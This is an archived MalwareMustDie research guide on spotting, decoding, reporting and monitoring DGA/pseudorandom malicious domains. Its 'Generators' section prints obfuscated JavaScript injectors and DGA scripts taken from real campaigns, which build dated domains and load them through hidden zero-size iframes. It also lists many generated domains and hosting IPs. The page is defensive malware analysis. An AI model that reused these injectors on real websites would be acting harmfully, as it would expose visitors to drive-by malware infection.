# malwaremustdie/wiki/old/DGA_Research_Tips.md at 6f69c8e4a55335b6b60a23785e98087b605ddceb · unixfreaxjp/malwaremustdie

By unixfreaxjp

Archived: 2026-04-05 15:48:36 UTC

#DGA/PseudoRandom Malicious Domain Research Guideline

## Introduction

Most of the openly published of DGA cases solved by MalwareMustDie is compiled as a template to follow in here.

## Details

### Contents



### Recognizing

DGA can be spotted by a random subdomains or it's randomized parameters as per below sample of infection routes, we often spotted them using the free hosting domain, free DDNS, free File Sharing services to camouflage their domain names. The usage of the .ru, .biz,.info base TLD also spotted frequently:

```
 2012-11-15 15:56:55 2 / 0  http://slhzpllrp.mynumber.org/geographicallyconquering.cgi?8          212.7.194.234
2012-11-15 15:03:46 2 / 0  http://slhzpllrp.mynumber.org/geographicallyconquering.cgi?8          212.7.194.234
2012-11-15 05:55:18 2 / 0  http://xflonjilx.mynumber.org/geographicallyconquering.cgi?8          212.7.194.235
```

### Obfuscation

As the nature of readable javascript all of the infector using Pseudorandom/DGA code are obfuscated like:

```
 <script>/*km0ae9gr6m*/window.eval(String.fromCharCode(116,114,121,123,112,114,111,116,
[...]
/*qhk6sa6g1c*/</script>
```

or..

```
 <script>var var1=true;var var2=10;var2++;var var6=0.0025;if(var6=
ar5-=0.022;var var6=5685;var6--}var var5=57;var var8=0;do{var var
r var21=4053;if(var21>0.038){var var17=5470;var17--;var var20=22;
ar var32=8980;var32--}function hae(key,mir){var var34=0.031;if(va
r var42=0.009;var42+=0.004;var var43=0;var43+=0.003;var4+='cvCode

  :
var8=4014;if(var8!=3947){var var4=21;if(var4!=0.0116){var var2
ar4=0.052;if(var4!=2753){var var2=true;var var3=['apt','gag']}ret
 var13=0.017;if(var13!=0){var var12=4296}}}}    var str='';functi
','has','ire'];var24++}while(var24<5);return zig}        str+=let
r26-=5819;var var27=0.003;var27++}}}var var31=[0,70,50,30,10,20,6
,got,nut){for(var var38=0;var38<9;var38++){var var39=8962;var39++
sr'+'c', 'h00p://'+domainName+'/in.cgi?14'); var var49=4490;var49
ifrm.style.visibility='hidden'; var var58='YKtHrZfxVR';
```

The above obfuscation mostly lead us to the second or sometimes to the third level of obfuscation, depend on the nature of infection,i.e. below is the snipped of the second level:

```
 try {
  prototype % 2;
}
catch (asd){
  x = 2;
}
try {
  q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l" + "e" + "m" + ((f) ?
  "e" + "n" + "t" : "")]("p");
  q.appendChild(q + "");
}
catch (fwbewe){
  i = 0;
  try {
    prototype * 5;
  }
  catch (z){
    fr = "fromChar";
    f = [510, 702, 550, 594, 580, 630, 555, 660, 160, 660, 505, 720, 580, 492, 485, 660,
    500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 205, 738, 50, 192, 160, 192, 160,
```

```
[...]
    295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 625, 60, 160, 192, 160, 192, 625, 594
    , 485, 696, 495, 624, 200, 606, 205, 738, 625, 60, 625, 264, 160, 318, 240, 288, 205,
    354];
    v = "eva";
  }
  if (v)e = window[v + "l"];
  w = f;
  s = [];
  r = String;
  z = ((e) ? "Code" : "");
  for (;
  1776 - 5 + 5 > i; i += 1){
    j = i;
    if (e)s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
  }
  if (f)e(s);
```

**Generators**

We can decode the below DGA logic generators manually:

Type 1

```
// This typoe is seen only to related PHP/WebShell/IRC-Bit base injected multilayer obfuscation

  var time = new Array();
  time['year'] = window.gd.getUTCFullYear();
  time['month'] = window.gd.getUTCMonth()+1;
  time['day'] = window.gd.getUTCDate();
  var d='fbcmfir.com';
  var months = new Array('uno', 'dve', 'thr', 'fir', 'vif', 'xes', 'ves', 'ght', 'eni', 'etn', 'lev', 'twe');
  var letters = new Array('a','b','c','d','e','f','g','h','j','i','k','l','m','n','o','p','q','r','s','t','u',
  var numbers = new Array(1,2,3,4,5,6,7,8,9);
  function CalculateMagicNumber(day, month, year, index)
  {
    return (((year + (index * day)) + (month ^ day) * index) + day);
  }
  var yearCh1, yearCh2, monthCh, dayCh, num;
  num = CalculateMagicNumber(time['day'], time['month'], time['year'], shiftIndex);
  yearCh1 = letters[(((time['year'] & 0xAA) + num) % 63) % 26] + letters[(((time['year'] & 0xAA) << 2) + num) %
  yearCh2 = letters[((((time['year'] & 0x3311) >> 3) + num) % 10)] + letters[((((time['year'] & 0x3311) >> 4) +
  monthCh = letters[((time['month'] + num) % 25)] + letters[((time['month'] * num) % 25)];
  dayCh = letters[((time['day'] * 6) % 27)];
  timeCh = dayCh = letters[((time['day'] * num) % 24)];
$a=$a.replace(d,dayCh + yearCh2 + monthCh + yearCh1 + dayCh + months[time['month'] - 1] + '.com');
```

Type 2

```
 // This one typically seen over and over

function nextRandomNumber(){
  var hi = this .seed / this .Q;
  var lo = this .seed % this .Q;
  var test = this .A * lo - this .R * hi;
  if (test > 0){
    this .seed = test;
  }
  else {
    this .seed = test + this .M;
  }
  return (this .seed * this .oneOverM);
}
function RandomNumberGenerator(unix){
  var d = new Date(unix * 1000);
  var s = Math.ceil(d.getHours() / 3);
  this .seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.
  round(s * 0xFFF));
  this .A = 48271;
  this .M = 2147483647;
  this .Q = this .M / this .A;
  this .R = this .M % this .A;
  this .oneOverM = 1.0 / this .M;
  this .next = nextRandomNumber;
  return this ;
}
function createRandomNumber(r, Min, Max){
  return Math.round((Max - Min) * r.next() + Min);
}
function generatePseudoRandomString(unix, length, zone){
  var rand = new RandomNumberGenerator(unix);
  var letters = "qmahgwctopfjilrfpjrfcwgewheizwdw".split('');
  var str = '';
  for (var i = 0; i < length; i ++ ){
    str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  }
  return str + '.' + zone;
}
setInterval(function (){
  try {
    if (typeof iframeWasCreated == "undefined"){
      var unix = Math.round( + new Date() / 1000);
      var domainName = generatePseudoRandomString(unix, 16, 'mynumber.org');
      ifrm = document.createElement("IFRAME");
```

```
      ifrm.setAttribute("src", "h00p://" + domainName + "/in(.)cgi?14");
      ifrm.style.width = "0px";
      ifrm.style.height = "0px";
      ifrm.style.visibility = "hidden";
      document.body.appendChild(ifrm);
      iframeWasCreated = true;
    }
```

The above type 2 coded was in the end adopted and used in infamous RunForrestRun DGA gnerator by .RU malware infector group.

```
 // This type also commonly used to infect malware site..

function nextRandomNumber(){
  var hi = this .seed / this .Q;
  var lo = this .seed % this .Q;
  var test = this .A * lo - this .R * hi;
  if (test > 0){
    this .seed = test;
  }
  else {
    this .seed = test + this .M;
  }
  return (this .seed * this .oneOverM);
}
function RandomNumberGenerator(unix){
  var d = new Date(unix * 1000);
  var s = d.getHours() > 12 ? 1 : 0;
  this .seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.
  round(s * 0xFFF));
  this .A = 48271;
  this .M = 2147483647;
  this .Q = this .M / this .A;
  this .R = this .M % this .A;
  this .oneOverM = 1.0 / this .M;
  this .next = nextRandomNumber;
  return this ;
}
function createRandomNumber(r, Min, Max){
  return Math.round((Max - Min) * r.next() + Min);
}
function generatePseudoRandomString(unix, length, zone){
  var rand = new RandomNumberGenerator(unix);
  var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o'
  , 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
  var str = '';
```

```
  for (var i = 0; i < length; i ++ ){
    str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  }
  return str + '.' + zone;
}
setTimeout(function (){
  try {
    if (typeof iframeWasCreated == "undefined"){
      iframeWasCreated = true;
      var unix = Math.round( + new Date() / 1000);
      var domainName = generatePseudoRandomString(unix, 16, 'ru');
      ifrm = document.createElement("IFRAME");
      ifrm.setAttribute("src", "h00p://" + domainName + "/runforestrun?sid=botnet2");
      ifrm.style.width = "0px";
      ifrm.style.height = "0px";
      ifrm.style.visibility = "hidden";
      document.body.appendChild(ifrm);
```

### Decoding and Reporting

It is important to keep the logic run as per it is to decode which scheme of infection used, our members are advised to use the below template:

```
 ======================================
#MalwareMustDie - Case NEW Pseudorandom/DGA domain infectors
Suspected TDS Sutra, followed by @it4sec
supports: @unifreaxjp, @EricOpdyke
Tue Nov 20 15:47:35 JST 2012
======================================

The currently registered A record is x.x.x.x
of the below malicious subdomains..

//script result...
aaaaa.bbbb.ccc,37.72.188.88,
bbbbb.bbbb.ccc,37.72.188.88,
[...]

// dig confirmation...
;; ANSWER SECTION:
mwwczodfrhwzmetq.mynumber.org. 31 IN    A       37.72.188.88
gdrlfielgcoiccjw.mynumber.org. 31 IN    A       37.72.188.88
twtwclwgrdwwpmol.mynumber.org. 31 IN    A       37.72.188.88
fjhhtmjlhpdwdwhf.mynumber.org. 31 IN    A       37.72.188.88
ljimjhilrwgcffgp.mynumber.org. 31 IN    A       37.72.188.88
tcpdmfppwgphghej.mynumber.org. 31 IN    A       37.72.188.88
```

```
;; AUTHORITY SECTION:
mynumber.org.           2011    IN      NS      ns3.changeip.org.
mynumber.org.           2011    IN      NS      ns2.changeip.org.
mynumber.org.           2011    IN      NS      ns1.changeip.org.

;; ADDITIONAL SECTION:
ns1.changeip.org.       1653    IN      A       204.16.173.31
ns2.changeip.org.       1822    IN      A       204.16.175.12
ns3.changeip.org.       1822    IN      A       208.85.240.112
ns3.changeip.org.       1822    IN      A       204.16.175.12

//under below VPS service (whois)
inetnum:        37.72.188.0 - 37.72.188.255
netname:        MNT-WEBEXXPURTS
descr:          Virtual Service Provider
country:        US
admin-c:        JA3035-RIPE
tech-c:         JA3035-RIPE
status:         ASSIGNED PA
mnt-by:         MNT-WEBEXXPURTS
source:         RIPE # Filtered
mnt-routes:     GLESYS-MNT
remarks:        INFRA-AW

person:         Jay Anderson
address:        100 Technology Dr
address:        Asheville
address:        North Carolina
address:        28803
mnt-by:         MNT-WEBEXXPURTS
remarks:        USA
phone:          +14086774567
nic-hdl:        JA3035-RIPE
source:         RIPE # Filtered

// REFERENCING IS A MUST!
// reference of that IP is not good, another infector URL detected
// Base: http://urlquery.net/report.php?id=179086
--------------------------------------------------------------------------------
Date (CET)        Rep/Alerts/IDS    URL      IP
--------------------------------------------------------------------------------
2012-11-17 22:26:06       / 2 / 0  http://mwwczodfrhwzmetq.mynumber.org/in.cgi?14       37.72.188.88      [Esto
↑
//urlQuery Alerts Detected a Dynamic DNS URL
//Detected SutraTDS URL pattern
//Same ASN also have other TDS Sultra infectors:
```

```
2012-11-15 09:24:39       1 / 2    http://creofdjwwpgdteoc.ru/in.cgi?17 --> http://urlquery.net/report.php?id=1
2012-11-15 08:56:12       1 / 2    http://mwcwcrhwwmlwhqdz.ru/in.cgi?17 --> http://urlquery.net/report.php?id=1

// PseudoRandom/DGA Generator logic used (A MUST)...
http://pastebin.com/raw.php?i=EAHfMktC

/ Raw data checked:

DATE        TIME                            CRACKED URL
-----------------------------------------------------
Thu Jan 01  01:00:00 GMT-0500 (Eastern Standard Time) h00p://pheorwhhtffpfcrz.mynumber.org/in.cgi?14
Thu Jan 01  04:00:00 GMT-0500 (Eastern Standard Time) h00p://rplfthpdrifjzrwm.mynumber.org/in.cgi?14
Thu Jan 01  07:00:00 GMT-0500 (Eastern Standard Time) h00p://wfqgawgahlwwewjp.mynumber.org/in.cgi?14
Thu Jan 01  10:00:00 GMT-0500 (Eastern Standard Time) h00p://wwricgrzwriwzlpc.mynumber.org/in.cgi?14
Thu Jan 01  13:00:00 GMT-0500 (Eastern Standard Time) h00p://iiwhjwldchjzwwwh.mynumber.org/in.cgi?14
Thu Jan 01  16:00:00 GMT-0500 (Eastern Standard Time) h00p://daeocmcawpzpjizp.mynumber.org/in.cgi?14
Thu Jan 01  19:00:00 GMT-0500 (Eastern Standard Time) h00p://ajlgqgeodcifefje.mynumber.org/in.cgi?14
Thu Jan 01  22:00:00 GMT-0500 (Eastern Standard Time) h00p://wjqdfrretghwhpwr.mynumber.org/in.cgi?14
[...]

// Template source:

#MalwareMustDie | Case Pseudorandom/DGA domain infectors..
@EricOpdyke @unixfreaxjp supporting to: @it4sec's http://ondailybasis.com/blog/?p=1668
```

Sample Published Reports

```
 http://pastebin.com/raw.php?i=BXYvTK8Q
http://pastebin.com/raw.php?i=S0cs87P1
http://pastebin.com/raw.php?i=VvQAk9m1
(See our Pastebin for more...)
```

**Monitoring an infection**

It is important to keep on monitoring the DGA after spotted. The point of monitoring are:

```
   * Which domains are up (WHOIS + A RECORD)?
  * Which ones are actually blocked?
  * Which ones are are up but not weaponized (WHOIS - A RECORD)
  * Monitoring the Status of the Registrar record in WHOIS
```

Below is sample of our reporting/monitoring on published cases:

```
 ============================================================
#MalwareMustDie - DGA/Pseudorandom Case: RunForrestRun/JS
```

```
Raw: http://pastebin.com/raw.php?i=9zQt23hv
PS: PseudoRandom burped double domains
so all domains in this report will be doubled too...
============================================================

=========================
ALREADY BLOCKED
=========================

ghwjfwfcwtdawjge.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
wwjfgirarcmiwclw.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
icqedhlgjwpcwfip.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
icqedhlgjwpcwfip.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
gpzweeqgjphipzrp.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
hffzjifwffezajwt.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
zwagmecepfgjafep.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
wicpcczejpdwmwez.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
agfwfjpzhtijddat.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
agfwfjpzhtijddat.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
wfzzcwgghwffwjpr.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
opfwcwlowhzdizia.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
jgaihfhgjlqhjwff.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
rzcjlpfzfjjwpjwi.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
oqcrhfchlwzwhzcq.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
oqcrhfchlwzwhzcq.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
ghwjfwfcwtdawjge.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
wwjfgirarcmiwclw.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
icqedhlgjwpcwfip.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
opfwcwlowhzdizia.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
jgaihfhgjlqhjwff.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
rzcjlpfzfjjwpjwi.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM
oqcrhfchlwzwhzcq.info,,DUMMYSECONDARY.PLEASECONTACTSUPPORT.COM, BLOCKEDFORABUSE.PLEASECONTACTSUPPORT.COM


=======================================
REGISTERED DOMAINS WITHOUT A RECORDS
=======================================

riwecppzhljhiqjc.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
jrjhjwipwdihtlwi.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
cwwtcajagocwfpcw.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
edprhrldwjwgrwwe.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
edprhrldwjwgrwwe.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
riwecppzhljhiqjc.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
jrjhjwipwdihtlwi.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
cwwtcajagocwfpcw.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
edprhrldwjwgrwwe.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
```

```
edprhrldwjwgrwwe.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
ewcgcgwgofpcczth.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
zjwioaedtwtejajg.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
erwwmafwpwwmpgjh.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
weewfpjjtjrgrcht.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
mgpcgicwhwzezgpj.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
gfhidjejiwjdgfda.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
lidgegrragewhdqt.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
frjwdrfjwwwreife.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
rwgwziiwgrwciwct.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
rwgwziiwgrwciwct.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
wdgffiapcrhpgcch.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
wwirfwqfiwizzgtt.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
ijdewiritmhcqhcz.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
wricfffjewcmricg.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
wcrigpfcprwclcia.info,,NS1.SILENTDNS.COM, NS2.SILENTDNS.COM
appejljrdtjqgdff.info,,NS1.SILENTDNS.COM
wfiioccfoijpqhpr.info,,NS1.SILENTDNS.COM
owrgrdtrfggfwjig.info,,NS1.SILENTDNS.COM
owrgrdtrfggfwjig.info,,NS1.SILENTDNS.COM
awjmfoihgzfgtgpi.info,,NS1.SILENTDNS.COM
wdwwjrqacqdecfjw.info,,NS1.SILENTDNS.COM
owrlcpcpgfiwhcww.info,,NS1.SILENTDNS.COM
jjwcrdfwhhtpwotf.info,,NS1.SILENTDNS.COM
rjehlwpqjzrcfewl.info,,NS1.SILENTDNS.COM
rjehlwpqjzrcfewl.info,,NS1.SILENTDNS.COM
jefaglhpiogipgpz.info,,NS1.SILENTDNS.COM
ggjrhwfecfwogffo.info,,NS1.SILENTDNS.COM
hfgwlfpizfwottcr.info,,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
clmrcwwhfdqghjgl.info,,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
clmrcwwhfdqghjgl.info,,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
effehilmhgctrpia.info,,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
hhcdlfccqftweeew.info,,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM



----------------------------------------------------------------

↓ H I G H L Y  S U S P E C T E D  M A L W A R E  H O S T S
        S O R T E D  P E R  I P  A D D R E S S
   S a t  N o v  3  1 6 : 4 1 : 1 9  J S T  2 0 1 2

----------------------------------------------------------------



==================
188.40.204.64
```

```
==================
fipdipirewfiihrf.info,188.40.204.64,
rrigjzewrwjiwdci.info,188.40.204.64,
fipdipirewfiihrf.info,188.40.204.64,
rrigjzewrwjiwdci.info,188.40.204.64,


==================
91.233.244.102
==================
igicpiipggljcwaf.info,91.233.244.102,DNS1.WEBDRIVE.RU, DNS2.WEBDRIVE.RU
igicpiipggljcwaf.info,91.233.244.102,DNS1.WEBDRIVE.RU, DNS2.WEBDRIVE.RU


==================
208.91.197.193
==================

ecwwmwiorimiwjpg.info,208.91.197.193,
rjwweohfoepeggaj.info,208.91.197.193,
ecwwmwiorimiwjpg.info,208.91.197.193,SK.S5.ANS1.NS112.ZTOMY.COM, SK.S5.ANS2.NS112.ZTOMY.COM
rjwweohfoepeggaj.info,208.91.197.193,SK.S5.ANS1.NS112.ZTOMY.COM, SK.S5.ANS2.NS112.ZTOMY.COM
ecwwmwiorimiwjpg.info,208.91.197.193,SK.S5.ANS1.NS112.ZTOMY.COM,SK.S5.ANS2.NS112.ZTOMY.COM
rjwweohfoepeggaj.info,208.91.197.193,SK.S5.ANS1.NS112.ZTOMY.COM,SK.S5.ANS2.NS112.ZTOMY.COM


==================
62.116.181.25
==================

mrjztgcwfjzfggre.info,62.116.181.25,
mrjztgcwfjzfggre.info,62.116.181.25,
gcggtfilfgiiwdfw.info,62.116.181.25,
cegprccwldejfwfw.info,62.116.181.25,
pmjjzpcerwcagtpc.info,62.116.181.25,
itwgpwjifrzoajco.info,62.116.181.25,
rfhwhftjormwjzfj.info,62.116.181.25,
whwfcjiwplgmriew.info,62.116.181.25,
fzrttttthlzcewjd.info,62.116.181.25,
rhofafmfwfgwwgpw.info,62.116.181.25,
mrjztgcwfjzfggre.info,62.116.181.25,
gcggtfilfgiiwdfw.info,62.116.181.25,
cegprccwldejfwfw.info,62.116.181.25,
pmjjzpcerwcagtpc.info,62.116.181.25,
itwgpwjifrzoajco.info,62.116.181.25,
rfhwhftjormwjzfj.info,62.116.181.25,
whwfcjiwplgmriew.info,62.116.181.25,
```

```
fzrttttthlzcewjd.info,62.116.181.25,
rhofafmfwfgwwgpw.info,62.116.181.25,
mrjztgcwfjzfggre.info,62.116.181.25,
gcggtfilfgiiwdfw.info,62.116.181.25,
cegprccwldejfwfw.info,62.116.181.25,
pmjjzpcerwcagtpc.info,62.116.181.25,
itwgpwjifrzoajco.info,62.116.181.25,
rfhwhftjormwjzfj.info,62.116.181.25,
whwfcjiwplgmriew.info,62.116.181.25,
fzrttttthlzcewjd.info,62.116.181.25,
rhofafmfwfgwwgpw.info,62.116.181.25,
ifgmhdqcfajfftqz.info,62.116.181.25,
dwpoeejplrhfegwr.info,62.116.181.25,
wwcwpjwrhzwwrfjf.info,62.116.181.25,
idwfgjjgeorhigor.info,62.116.181.25,
dwrredzpwpicfrch.info,62.116.181.25,
almmizjrdhepgfop.info,62.116.181.25,
wffcrhplrgcwpwtg.info,62.116.181.25,
ohclwehzcigwmhce.info,62.116.181.25,
jqerhfpghehlghif.info,62.116.181.25,
ifgmhdqcfajfftqz.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
dwpoeejplrhfegwr.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
wwcwpjwrhzwwrfjf.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
idwfgjjgeorhigor.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
idwfgjjgeorhigor.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
dwrredzpwpicfrch.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
almmizjrdhepgfop.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
wffcrhplrgcwpwtg.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
ohclwehzcigwmhce.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
jqerhfpghehlghif.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
jqerhfpghehlghif.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
ifgmhdqcfajfftqz.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
dwpoeejplrhfegwr.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
wwcwpjwrhzwwrfjf.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
idwfgjjgeorhigor.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
idwfgjjgeorhigor.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
dwrredzpwpicfrch.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
almmizjrdhepgfop.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
wffcrhplrgcwpwtg.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
ohclwehzcigwmhce.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
jqerhfpghehlghif.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET
jqerhfpghehlghif.info,62.116.181.25,NS1.PARKINGCREW.NET, NS2.PARKINGCREW.NET


==================
37.59.236.138
==================
```

```
hdhgwwqgflwiqwtp.info,37.59.236.138,
cwwppthwwwlejiwg.info,37.59.236.138,
pjjppdwhrrpjjccq.info,37.59.236.138,
pjjppdwhrrpjjccq.info,37.59.236.138,
ijwwgrjiolhhzpwc.info,37.59.236.138,
fepzjrdeqwppzpre.info,37.59.236.138,
rwhgwgjmwqffjlip.info,37.59.236.138,
wgeffroawwfhthir.info,37.59.236.138,
effjhejwrjghrcat.info,37.59.236.138,
ftctwpcrrchwqdfi.info,37.59.236.138,
wfhfppacfefepwzl.info,37.59.236.138,
whieggaowrcpiljp.info,37.59.236.138,
iwdddhfmozlrpewj.info,37.59.236.138,
dcfocihgaoffhteh.info,37.59.236.138,
dcfocihgaoffhteh.info,37.59.236.138,
mrtwimcraiprwogw.info,37.59.236.138,
gchecwwgqwwefhgp.info,37.59.236.138,
teihjtzmjjppzccf.info,37.59.236.138,
awpwwoffphrwopef.info,37.59.236.138,
wgwwcgidfwgpprhq.info,37.59.236.138,
wgwwcgidfwgpprhq.info,37.59.236.138,
tfpirqwirfzrfwwg.info,37.59.236.138,
fphfegiwgpojmiai.info,37.59.236.138,
teihjtzmjjppzccf.info,37.59.236.138,
hdhgwwqgflwiqwtp.info,37.59.236.138,
cwwppthwwwlejiwg.info,37.59.236.138,
pjjppdwhrrpjjccq.info,37.59.236.138,
pjjppdwhrrpjjccq.info,37.59.236.138,
ijwwgrjiolhhzpwc.info,37.59.236.138,
fepzjrdeqwppzpre.info,37.59.236.138,
rwhgwgjmwqffjlip.info,37.59.236.138,
wgeffroawwfhthir.info,37.59.236.138,
effjhejwrjghrcat.info,37.59.236.138,
ftctwpcrrchwqdfi.info,37.59.236.138,
wfhfppacfefepwzl.info,37.59.236.138,
whieggaowrcpiljp.info,37.59.236.138,
iwdddhfmozlrpewj.info,37.59.236.138,
dcfocihgaoffhteh.info,37.59.236.138,
dcfocihgaoffhteh.info,37.59.236.138,
